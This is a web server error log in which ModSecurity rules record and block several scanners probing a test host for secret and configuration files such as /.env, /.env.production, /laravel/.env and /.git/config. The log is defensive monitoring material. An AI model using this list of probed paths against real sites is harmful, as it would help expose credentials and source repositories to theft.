[Sat Sep 13 00:17:09.753523 2025] [:error] [pid 2688426] [client 142.93.129.190:45074] [client 142.93.129.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aMSb5fEoZTy6Hpk-pXPL6wAAAAI"]
[Sat Sep 13 00:17:09.846128 2025] [:error] [pid 2688406] [client 142.93.129.190:45090] [client 142.93.129.190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMSb5Z4U4qgk_zdQTAG6OwAAAAc"]
[Sat Sep 13 00:17:09.846375 2025] [:error] [pid 2688406] [client 142.93.129.190:45090] [client 142.93.129.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMSb5Z4U4qgk_zdQTAG6OwAAAAc"]
[Sat Sep 13 00:17:09.846545 2025] [:error] [pid 2688406] [client 142.93.129.190:45090] [client 142.93.129.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMSb5Z4U4qgk_zdQTAG6OwAAAAc"]
[Sat Sep 13 00:17:09.934405 2025] [:error] [pid 2688403] [client 142.93.129.190:45098] [client 142.93.129.190] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMSb5TqwiDr-K4sEhhFpsgAAAAA"]
[Sat Sep 13 00:17:09.934619 2025] [:error] [pid 2688403] [client 142.93.129.190:45098] [client 142.93.129.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMSb5TqwiDr-K4sEhhFpsgAAAAA"]
[Sat Sep 13 00:17:09.934803 2025] [:error] [pid 2688403] [client 142.93.129.190:45098] [client 142.93.129.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMSb5TqwiDr-K4sEhhFpsgAAAAA"]
[Sat Sep 13 04:17:42.959687 2025] [:error] [pid 2692835] [client 35.173.252.109:46146] [client 35.173.252.109] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMTURsSoTRFOFZMVXoaUoQAAAAY"]
[Sat Sep 13 04:17:42.959965 2025] [:error] [pid 2692835] [client 35.173.252.109:46146] [client 35.173.252.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMTURsSoTRFOFZMVXoaUoQAAAAY"]
[Sat Sep 13 04:17:42.960133 2025] [:error] [pid 2692835] [client 35.173.252.109:46146] [client 35.173.252.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMTURsSoTRFOFZMVXoaUoQAAAAY"]
[Sat Sep 13 19:40:51.334434 2025] [:error] [pid 2695662] [client 93.123.109.7:45000] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMWso15IrPahGy0-6rSzywAAAAk"]
[Sat Sep 13 19:40:51.334723 2025] [:error] [pid 2695662] [client 93.123.109.7:45000] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMWso15IrPahGy0-6rSzywAAAAk"]
[Sat Sep 13 19:40:51.334869 2025] [:error] [pid 2695662] [client 93.123.109.7:45000] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMWso15IrPahGy0-6rSzywAAAAk"]
[Sat Sep 13 23:09:48.347055 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMXdnNWTTT7OvKIMJ05cuwAAAAo"]
[Sat Sep 13 23:09:48.347264 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMXdnNWTTT7OvKIMJ05cuwAAAAo"]
[Sat Sep 13 23:09:48.347445 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMXdnNWTTT7OvKIMJ05cuwAAAAo"]
[Sat Sep 13 23:09:48.452312 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aMXdnNWTTT7OvKIMJ05cvAAAAAo"]
[Sat Sep 13 23:09:48.452518 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aMXdnNWTTT7OvKIMJ05cvAAAAAo"]
[Sat Sep 13 23:09:48.452693 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aMXdnNWTTT7OvKIMJ05cvAAAAAo"]
[Sat Sep 13 23:09:48.556141 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aMXdnNWTTT7OvKIMJ05cvQAAAAo"]
[Sat Sep 13 23:09:48.556365 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aMXdnNWTTT7OvKIMJ05cvQAAAAo"]
[Sat Sep 13 23:09:48.556591 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aMXdnNWTTT7OvKIMJ05cvQAAAAo"]
[Sat Sep 13 23:09:49.348219 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cvwAAAAo"]
[Sat Sep 13 23:09:49.348419 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cvwAAAAo"]
[Sat Sep 13 23:09:49.348593 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cvwAAAAo"]
[Sat Sep 13 23:09:49.451548 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMXdndWTTT7OvKIMJ05cwAAAAAo"]
[Sat Sep 13 23:09:49.451751 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMXdndWTTT7OvKIMJ05cwAAAAAo"]
[Sat Sep 13 23:09:49.451923 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMXdndWTTT7OvKIMJ05cwAAAAAo"]
[Sat Sep 13 23:09:49.635854 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cwQAAAAo"]
[Sat Sep 13 23:09:49.636061 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cwQAAAAo"]
[Sat Sep 13 23:09:49.636250 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cwQAAAAo"]
[Sat Sep 13 23:09:49.738698 2025] [authz_core:error] [pid 2709327] [client 54.198.124.229:60004] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sat Sep 13 23:09:49.842236 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cwwAAAAo"]
[Sat Sep 13 23:09:49.842465 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cwwAAAAo"]
[Sat Sep 13 23:09:49.842669 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cwwAAAAo"]
[Sat Sep 13 23:09:49.946734 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cxAAAAAo"]
[Sat Sep 13 23:09:49.946938 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cxAAAAAo"]
[Sat Sep 13 23:09:49.947139 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aMXdndWTTT7OvKIMJ05cxAAAAAo"]
[Sat Sep 13 23:09:50.749584 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aMXdntWTTT7OvKIMJ05cxgAAAAo"]
[Sat Sep 13 23:09:50.749787 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aMXdntWTTT7OvKIMJ05cxgAAAAo"]
[Sat Sep 13 23:09:50.749957 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aMXdntWTTT7OvKIMJ05cxgAAAAo"]
